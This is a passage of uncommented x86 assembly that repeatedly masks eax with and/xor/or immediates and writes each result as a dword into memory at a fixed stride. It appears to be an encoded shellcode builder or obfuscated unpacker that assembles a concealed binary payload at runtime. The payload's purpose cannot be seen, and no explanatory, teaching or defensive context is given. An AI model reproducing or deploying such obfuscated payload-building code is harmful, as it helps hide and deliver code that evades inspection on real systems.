add ebx, ecx
and eax, 0x78642f13
xor eax, 0x287044b6
and eax, 0x20006995
or eax, 0x82239240
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2dd9618a
and eax, 0x20010180
or eax, 0xde3e120e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3263c524
or eax, 0x5a93d1a4
and eax, 0x30214180
or eax, 0x81040253
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x51cad2
xor eax, 0x5ef382b7
and eax, 0xee800a90
or eax, 0x20b401
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5487082f
and eax, 0x800
or eax, 0x8b37c2c8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50ca60a
or eax, 0x4f751134
and eax, 0xc4200606
or eax, 1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47b65c28
and eax, 0x8302082c
or eax, 0x34612400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5296b414
xor eax, 0xeded66f
and eax, 0x148c3063
or eax, 0xa1230c00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x421c496a
and eax, 0x20582695
and eax, 0
or eax, 0x4613fcfe
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2fca5907
and eax, 0x61982068
or eax, 0x94241802
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x726ccb99
and eax, 0x81c04063
or eax, 0x400d0808
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x134e93b9
and eax, 0x40029990
or eax, 0x2c5c0401
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xb612667
xor eax, 0x738ac9f7
and eax, 0x4a43001
or eax, 0xc10a05be
mov dword [ebx], eax
add ebx, ecx
and eax, 0x204ff9e
and eax, 0x43410
or eax, 0x75188201
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b2715f0
and eax, 0x400a1c0
or eax, 0x70400c04
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xdf1e7e5
xor eax, 0x2206bfa9
and eax, 0x41301188
or eax, 0x24480011
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2c491d82
and eax, 0
or eax, 0x223ce27
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6157f35
or eax, 0x61073cbf
and eax, 0x2136c23b
or eax, 0x88400000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x642ceb87
or eax, 0x553b33ce
and eax, 0x612ab249
or eax, 0x8000830
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1b128aef
and eax, 0x9028a69
or eax, 0xf6417506
mov dword [ebx], eax
add ebx, ecx
or eax, 0x373af141
and eax, 0xcf4bab4f
or eax, 0x840000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3195653b
and eax, 0x3cf3cfd4
and eax, 0x24524254
or eax, 0x42843082
mov dword [ebx], eax
add ebx, ecx
and eax, 0x387edb28
and eax, 0x780723c7
and eax, 0x20060200
or eax, 0xdd50d56c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x388e3104
and eax, 0xc1906028
or eax, 0x1a030112
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3c470d33
and eax, 0x8030000
or eax, 0x81b0d485
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4973ad7b
and eax, 0x80802914
or eax, 0x3e370601
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x71b38c6c
and eax, 0xc002328
or eax, 0x10f11004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x35a542cd
or eax, 0x7fefe8cd
and eax, 0x14c08084
or eax, 0x80000200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x33b00b52
or eax, 0x6a713c20
and eax, 0x30303800
or eax, 0x8400c19e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d3aa882
and eax, 0x4044e79
and eax, 8
or eax, 0xafeba800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x654f43fd
and eax, 0x5480008
or eax, 0x482462a6
mov dword [ebx], eax
add ebx, ecx
or eax, 0x79ba765d
and eax, 0x3060667a
or eax, 0x82010100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7478dbef
and eax, 0x76d5af76
and eax, 0x20400160
or eax, 0xce390c18
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2b1600e1
and eax, 0x81000408
or eax, 0x3a808224
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc513f00
and eax, 0x3d102424
or eax, 0x402840c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5dc40711
and eax, 0x9000400
or eax, 0x82db22ee
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4a232b5
and eax, 0x9581019
or eax, 0x82a200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x506b4657
xor eax, 0x5a32405d
and eax, 0x5a384208
or eax, 0xa18700a1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d40ea34
and eax, 0xacb8c089
or eax, 0x142
mov dword [ebx], eax
add ebx, ecx
and eax, 0x476575d6
and eax, 0x4204040
or eax, 0x78dc9000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x244d40a4
or eax, 0x166637cf
and eax, 0x663a0040
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x8d45706
and eax, 0x100000
or eax, 0xc1c92616
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3e6f3403
and eax, 0
or eax, 0xb0805140
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5fcfb26c
or eax, 0x225fb584
and eax, 0xe851600c
or eax, 0x10a00051
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7e04e2b5
or eax, 0x78be99de
and eax, 0x788912f6
or eax, 0x1004000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x494f3bde
and eax, 0x107764c6
and eax, 0x10404000
or eax, 0xeb29084a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e4c3397
or eax, 0x687cc63a
and eax, 0x9c10740b
or eax, 0x2800000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x190b5005
and eax, 0x27b1e6cf
and eax, 0x4910006
or eax, 0xd0444261
mov dword [ebx], eax
add ebx, ecx
and eax, 0x57d45cb8
and eax, 0x7750c4ba
and eax, 0x10100000
or eax, 0xa326bb1f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1af3abe4
and eax, 0x2840003b
or eax, 0x4620a704
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x71065f89
or eax, 0x770fa0a6
and eax, 0xb031816
or eax, 0x900741
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4810fee9
or eax, 0x3163eafc
and eax, 0x28129a1c
or eax, 0x6880102
mov dword [ebx], eax
add ebx, ecx
or eax, 0x49f6971d
xor eax, 0x2cf4ff75
and eax, 0x42002020
or eax, 0xc059514
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1a6fb178
and eax, 0x16359b1a
and eax, 0x4051110
or eax, 0xc8d86481
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5db852a3
and eax, 0x3ee9f747
and eax, 0x10e80300
or eax, 0xc3168874
mov dword [ebx], eax
add ebx, ecx
and eax, 0x35c5227c
and eax, 0x11c40070
or eax, 0x8a12d488
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7d9f77b4
and eax, 0x3103e3e7
and eax, 0x20010104
or eax, 0x2d84cb8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1aaf3eed
and eax, 0x880
or eax, 0xb534e052
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x441067a3
and eax, 0x46dd014c
and eax, 0x140
or eax, 0x82a99cbf
mov dword [ebx], eax
add ebx, ecx
and eax, 0x8814244
and eax, 0x800044
or eax, 0x32429008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3e0bb7ae
or eax, 0xd626ca7
and eax, 0xb0b342e
or eax, 0x80140000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1879f7c7
xor eax, 0x4ed1c47d
and eax, 0x40c8f03b
or eax, 0x9250500
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46b2b105
or eax, 0xe6c4b22
and eax, 0x7040d06
or eax, 0x70003001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6af9247a
or eax, 0x2faeb614
and eax, 0x4fa03012
or eax, 0x10010069
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7e2f22d
and eax, 0x5000029
or eax, 0x381e02c6
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7fb13c40
xor eax, 0x5577a87c
and eax, 0x2064280c
or eax, 0x83985441
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3a52a8b0
and eax, 0x7eb57aa1
and eax, 0x2000000
or eax, 0x4dced462
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13017633
xor eax, 0x6dde01f5
and eax, 0x104300
or eax, 0xc4820878
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xac64919
and eax, 0xce140261
or eax, 0x31837182
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b80668c
and eax, 0x21000280
or eax, 0x94419110
mov dword [ebx], eax
add ebx, ecx
or eax, 0xd004d40
xor eax, 0xac75968
and eax, 0xa20686b0
or eax, 0x48303007
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18f0f64e
and eax, 0x308600a0
or eax, 0x431b702
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x64100eb8
and eax, 0x10051010
or eax, 0xf000425
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x37e3278f
and eax, 0x6ce3cd95
and eax, 0xc00110
or eax, 0x4500dc0d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x555dc3f7
or eax, 0x2d9c1e30
and eax, 0x4d109720
or eax, 0x10212080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6f6735cc
and eax, 0x12128248
or eax, 0x4c085d91
mov dword [ebx], eax
add ebx, ecx
and eax, 0x41282d18
and eax, 0x80d08
or eax, 0xa0c39222
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c31a7d
and eax, 0x410020
or eax, 0xa520e190
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5e351504
and eax, 0xe8a3348
and eax, 0x4000000
or eax, 0x236f8094
mov dword [ebx], eax
add ebx, ecx
or eax, 0x690558e1
and eax, 0x2d08d8d4
or eax, 0x80000200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1d4ad1b4
and eax, 0x5004094
or eax, 0xa2f50a23
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6836b0d6
or eax, 0x56f78084
and eax, 0x4a830024
or eax, 0x20080008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x116bb209
xor eax, 0x582cfaa7
and eax, 0x8237829
or eax, 0xa2500010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x608fd546
and eax, 0x20035000
or eax, 0x9068a8fc
mov dword [ebx], eax
add ebx, ecx
or eax, 0x606c8f4f
or eax, 0x54857a6b
and eax, 0x4440f1c5
or eax, 0x100000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5f6741cc
xor eax, 0x1323597e
and eax, 0x8000831
or eax, 0x95e31208
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x54b7c9d6
and eax, 0x4840c183
or eax, 0x24080810
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x286f8b42
and eax, 0x14081
or eax, 0x39489d06
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b573987
and eax, 0x1185
or eax, 0x84264420
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x466373a2
and eax, 0xc0400002
or eax, 0x1c124100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6a5c565c
and eax, 0xb6060340
or eax, 0x4040c800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5f876d20
or eax, 0x182c9cc6
and eax, 0x296c1ae2
or eax, 0x40004011
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x67ec397e
and eax, 0x280020c
or eax, 0x40110840
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15db5184
or eax, 0x7af86135
and eax, 0x1a712100
or eax, 0x4029a88
mov dword [ebx], eax
add ebx, ecx
and eax, 0x439cbc43
xor eax, 0x473ddeb0
and eax, 0x442d62b0
or eax, 0xba42010f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x57c547b1
and eax, 0x84892505
or eax, 0x109040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x35ca1bc7
xor eax, 0x7aefe38
and eax, 0x305041d3
or eax, 0x4508ae00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xd0c1e45
and eax, 0x6040d012
or eax, 0x81a10240
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5828acc8
and eax, 0x9989740a
or eax, 0x6000004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x666dc932
or eax, 0x1ab19da7
and eax, 0xc900a434
or eax, 0x20000
mov dword [ebx], eax
add ebx, ecx
or eax, 0xd62f290
and eax, 0x45207030
or eax, 0x10810909
mov dword [ebx], eax
add ebx, ecx
and eax, 0x9f372a5
and eax, 0x40b00843
and eax, 0
or eax, 0x4c445370
mov dword [ebx], eax
add ebx, ecx
and eax, 0x354869a7
xor eax, 0xc4a6326
and eax, 0x8082202
or eax, 0x37749111
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7dc6c612
xor eax, 0x283e03f1
and eax, 0x4340a4e0
or eax, 0x8037000c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x56b7429b
xor eax, 0x7e5aeed8
and eax, 0x146de410
or eax, 0x4280018d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x319cb21
xor eax, 0x6151bce5
and eax, 0x24a59208
or eax, 0x89520526
mov dword [ebx], eax
add ebx, ecx
and eax, 0x79701469
and eax, 0x8301028
or eax, 0x20f8a81
mov dword [ebx], eax
add ebx, ecx
and eax, 0x688f85c0
or eax, 0x3e8bd292
and eax, 0xe855200
or eax, 0x81202404
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2f98764e
and eax, 0x5abda366
and eax, 0x1d0002
or eax, 0x83800638
mov dword [ebx], eax
add ebx, ecx
or eax, 0x53263413
xor eax, 0x28b4853b
and eax, 0x51013000
or eax, 0x4004019
mov dword [ebx], eax
add ebx, ecx
or eax, 0x717ceecb
and eax, 0x54570c9
or eax, 0x800020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b6af1ed
and eax, 0x4359f990
and eax, 0x42000100
or eax, 0x284210a3
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13346405
xor eax, 0x3e1fdb0b
and eax, 0x8005a0a
or eax, 0x3c000e5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x39ee159a
or eax, 0x3cfc1ec7
and eax, 0x1cc048d1
or eax, 0x80018008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ca25a41
and eax, 0x427cc440
and eax, 0
or eax, 0x60b3ac0c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4521b28
and eax, 0x60638100
or eax, 0x1b044001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x345b94be
and eax, 0x20408000
or eax, 0x48102aa6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xeaf072b
and eax, 0x66040d04
or eax, 0x18004200
mov dword [ebx], eax
add ebx, ecx
and eax, 0xede25a0
and eax, 0xc000400
or eax, 0x809ba817
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1f778f12
xor eax, 0xf937b51
and eax, 0x80281440
or eax, 0x5912911
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x62d14b68
and eax, 0x85401621
or eax, 0x18138102
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c65459c
or eax, 0x76cfd2c4
and eax, 0xf38f86fd
or eax, 0x2000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5aaebf53
and eax, 0x39c6313a
and eax, 0x10042010
or eax, 0xac7911ce
mov dword [ebx], eax
add ebx, ecx
and eax, 0x766903b2
or eax, 0x2d51cde6
and eax, 0x57901d4
or eax, 0x40862208
mov dword [ebx], eax
add ebx, ecx
or eax, 0x185fa8bf
and eax, 0x5335f29c
and eax, 0x10212210
or eax, 0x2c400901
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4a3b4799
and eax, 0x10310
or eax, 0xf0d0e8a4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x63fbd33c
and eax, 0x73d0fbc9
and eax, 0x60d08000
or eax, 0x8f2428bc
mov dword [ebx], eax
add ebx, ecx
or eax, 0x27dd225f
and eax, 0x24a4a856
or eax, 0x10004400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x10ed871b
or eax, 0x4a39c4bd
and eax, 0x4060e969
or eax, 0x11801000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x66fc1fb8
and eax, 0x4b406a72
and eax, 0x1006050
or eax, 0x783199a4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5319ca56
and eax, 0x6a3109b0
or eax, 0x4040001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x54e85c29
or eax, 0x7d80bb6b
and eax, 0x69a0234a
or eax, 0x80454494
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7415d5b8
and eax, 0x190a044
or eax, 0x20040491
mov dword [ebx], eax
add ebx, ecx
and eax, 0x61d7fd35
and eax, 0x3396d6a8
and eax, 0x808000
or eax, 0xd8212838
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b11bf9b
and eax, 0xc0201cb0
or eax, 0x200c0040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11b39005
and eax, 0x30961485
or eax, 0x2000102
mov dword [ebx], eax
add ebx, ecx
or eax, 0x62d536ce
and eax, 0x70123206
or eax, 0x4000010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x54bed7c
xor eax, 0x202a4a9e
and eax, 0x10201034
or eax, 0xa0882a00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x78f91e65
and eax, 0xa8e03820
or eax, 0x7064088
mov dword [ebx], eax
add ebx, ecx
or eax, 0x36080a02
or eax, 0xc693471
and eax, 0x332f32a1
or eax, 0x100100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ce9995d
xor eax, 0x21cc279a
and eax, 0x14201c07
or eax, 0xe0400318
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1683045e
and eax, 0x4682064e
or eax, 0x1048080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a13ca75
and eax, 0x5b5e5bdc
and eax, 0x1004018
or eax, 0x263b667
mov dword [ebx], eax
add ebx, ecx
or eax, 0x462e0336
and eax, 0x328b07e
or eax, 0x30000880
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4e216021
and eax, 0x800186b
or eax, 0x80160500
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40f1d0
xor eax, 0x75bd0a9d
and eax, 0x3cc08746
or eax, 0x2000001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3fc363e7
or eax, 0x299b54b5
and eax, 0x2f5a2627
or eax, 0x808
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5193800
and eax, 0x2e02222d
or eax, 0x40a40000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24e6c851
and eax, 0x38ddc797
and eax, 0x8205
or eax, 0x8422212a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x40a45a51
and eax, 0x4480d840
or eax, 0x1500001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x495d6ad5
xor eax, 0x4b879269
and eax, 0x834000
or eax, 0x90002591
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3af7022b
xor eax, 0x49edd56c
and eax, 0x110a0100
or eax, 0x4100a10
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3f3e4297
and eax, 0x4b60a2f5
and eax, 0x200
or eax, 0x40d05c2f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x752003d1
and eax, 0x35d00bb7
or eax, 0x20fa000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x74530514
and eax, 0x1044173
and eax, 0x1000021
or eax, 0x9ad33b48
mov dword [ebx], eax
add ebx, ecx
or eax, 0x440ec480
xor eax, 0x71354202
and eax, 0xa6222001
or eax, 0x40014200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b81519a
and eax, 0x71bbd2b
and eax, 0x2000000
or eax, 0x51c6e23e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6cbe66b7
and eax, 0x5a8e472b
and eax, 0x40864202
or eax, 0x84312950
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x52035304
and eax, 0x4843814
or eax, 0x40434500
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x61b0590f
and eax, 0x25630018
or eax, 0x18008840
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2ac23474
and eax, 0x33b6b17b
and eax, 0x2801000
or eax, 0xa41a4e82
mov dword [ebx], eax
add ebx, ecx
and eax, 0x351926d3
and eax, 0x6fcefa2a
and eax, 0x20000000
or eax, 0x816545a1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4024b2c0
and eax, 0x31010266
and eax, 0x40
or eax, 0xc264dc90
mov dword [ebx], eax
add ebx, ecx
or eax, 0x78f8711f
and eax, 0x9228b9c9
or eax, 0x1030200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x129ae919
and eax, 0x20a8808
or eax, 0xcd54020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x31b2058b
or eax, 0x40de339b
and eax, 0x1c1103
or eax, 0x7218000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x141fadd3
and eax, 0x4180000
or eax, 0x516270d0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x26f0ed89
and eax, 0x138a0448
or eax, 0xc350024
mov dword [ebx], eax
add ebx, ecx
and eax, 0x312792a5
and eax, 0x10000020
or eax, 0x68c8ff09
mov dword [ebx], eax
add ebx, ecx
and eax, 0x356d2aa7
and eax, 0x30482200
or eax, 0xce31441a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1758a4cb
and eax, 0x61214241
or eax, 0x145c2c0e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6f602175
and eax, 0x204012a
or eax, 0x828084
mov dword [ebx], eax
add ebx, ecx
and eax, 0x494f6c02
and eax, 0x405fa016
and eax, 2
or eax, 0x28e1c1ac
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6421e3d
or eax, 0x13501be
and eax, 0x22015bbc
or eax, 0xd0480000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x373bcf31
and eax, 0x1474816c
and eax, 0x400004
or eax, 0xb8845780
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e33b4e9
xor eax, 0x667ab089
and eax, 0x4212a000
or eax, 0x20055ba6
mov dword [ebx], eax
add ebx, ecx
or eax, 0x670dcd9b
or eax, 0xbae0055
and eax, 0x6d9cf52b
or eax, 0x10000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x508b2443
or eax, 0x4472203
and eax, 0x29565243
or eax, 0x2800c04
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ab474a1
and eax, 0x1620a26
or eax, 0xec1d1119
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2b1adf5c
and eax, 0xc461c061
or eax, 0x9000908
mov dword [ebx], eax
add ebx, ecx
or eax, 0x46b35233
and eax, 0x7b1cb7b
or eax, 0x30080404
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b8ef227
and eax, 0x502552b
or eax, 0x80
mov dword [ebx], eax
add ebx, ecx
or eax, 0x16ef5215
and eax, 0x14407a2
or eax, 0xa0002000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x61c9a30
and eax, 0x4c9ea674
and eax, 0x4008620
or eax, 0x6022088d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x55cb20d4
and eax, 0x20080
or eax, 0x39db178
mov dword [ebx], eax
add ebx, ecx
and eax, 0x41b0264f
xor eax, 0x460ebfcf
and eax, 0x68e0a83
or eax, 0x28204010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ff0bd49
and eax, 0x3396ab12
or eax, 0xc0010000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x77c08b2d
and eax, 0x4e798f86
and eax, 0x110006
or eax, 0x83866a08
mov dword [ebx], eax
add ebx, ecx
and eax, 0x25a869b2
xor eax, 0x37770653
and eax, 0x20712a41
or eax, 0x800001ae
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15289525
xor eax, 0x706668b4
and eax, 0x4137162a
or eax, 0x20400801
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6bef4a3b
xor eax, 0x5aef495f
and eax, 0x1024190f
or eax, 0xa18020b0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1231a446
and eax, 0x9121042c
or eax, 0x84a0000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4090e688
and eax, 0x400
or eax, 0x6acadbf4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x21af3d77
xor eax, 0x751eb0c
and eax, 0x8040082
or eax, 0xb3422210
mov dword [ebx], eax
add ebx, ecx
or eax, 0x41171cdd
and eax, 0x5144345b
or eax, 0x204120
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6b4def0f
and eax, 0x219a60
or eax, 0xc5c6658b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x63c03424
and eax, 0x1434d573
and eax, 0x4040002
or eax, 0x141208c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x45c9c363
and eax, 0x65ec2bdc
and eax, 0x8c020c
or eax, 0x702d800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x34c5ef07
and eax, 0x44800
or eax, 0x69311542
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4221a9dc
or eax, 0x63114313
and eax, 0x61214c4b
or eax, 0x90080000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x23e8be49
xor eax, 0x252a46fc
and eax, 0xd5e92402
or eax, 0x8100a00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ef2e26c
xor eax, 0x70e14644
and eax, 0x4006400
or eax, 0x82629110
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x38d055d1
and eax, 0x92b28001
or eax, 0xe0a
mov dword [ebx], eax
add ebx, ecx
or eax, 0xf2f3e12
and eax, 0x9532121a
or eax, 0x200001c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x419e24d5
and eax, 0x759c1589
or eax, 0x418020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1880ae99
or eax, 0x2b10c80
and eax, 0x73a9b129
or eax, 0x80020040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e7f4862
and eax, 0xf1760168
or eax, 0x294
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1dc50e84
and eax, 0xcc910070
or eax, 0x1481083
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5db3813d
and eax, 0x483a0089
or eax, 0x2a00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x333fa7ed
and eax, 0x500eabac
or eax, 0x4c04000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x15fbce61
and eax, 0x5587aa6c
or eax, 0x22001002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5bf806db
xor eax, 0x1c6e8f12
and eax, 0xcaa0d58
or eax, 0x201162a2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a6d11a9
xor eax, 0x7ed879f
and eax, 0x6800c840
or eax, 0x864c0388
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9db9b9b
and eax, 0x82954001
or eax, 0x8000f28
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f7a90d8
and eax, 0x44361ba1
or eax, 0x30000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2ab6b6d9
and eax, 0x3e203ea9
or eax, 0x81414006
mov dword [ebx], eax
add ebx, ecx
or eax, 0x263c7565
or eax, 0x4d01b6f1
and eax, 0x767ca726
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x28bc48f4
or eax, 0x8d37735
and eax, 0x52c21d02
or eax, 0x21000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4082ed2b
and eax, 0x343e0e18
and eax, 0x20c00
or eax, 0xe0e1826c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4671bdc9
xor eax, 0x261c729c
and eax, 0x406b4811
or eax, 0x24100280
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x265b7381
and eax, 0x2203800
or eax, 0x18010687
mov dword [ebx], eax
add ebx, ecx
or eax, 0x635b5ff7
xor eax, 0x760c3136
and eax, 0xd114880
or eax, 0x7288113a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3e5fdaff
and eax, 0x100018b2
or eax, 0x64a600
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x19dfcaf
and eax, 0x11e0420c
or eax, 0x6604b420
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1cf55d0
or eax, 0x74f553c7
and eax, 0x21714743
or eax, 0xa0a2800
mov dword [ebx], eax
add ebx, ecx
and eax, 0xbe11332
and eax, 0xa410300
or eax, 0x24805001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3fa3840
or eax, 0x31348300
and eax, 0x21b09300
or eax, 0xa642d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b0e8b33
or eax, 0x7313e2e5
and eax, 0xa50071
or eax, 0x100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b2f1313
and eax, 0x39c90661
and eax, 0x18000060
or eax, 0x4368181
mov dword [ebx], eax
add ebx, ecx
or eax, 0x212ff190
xor eax, 0x463132c8
and eax, 0x3024309
or eax, 0x4d11c44
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7041ffdc
or eax, 0x466500c0
and eax, 0x30048081
or eax, 0x80000302
mov dword [ebx], eax
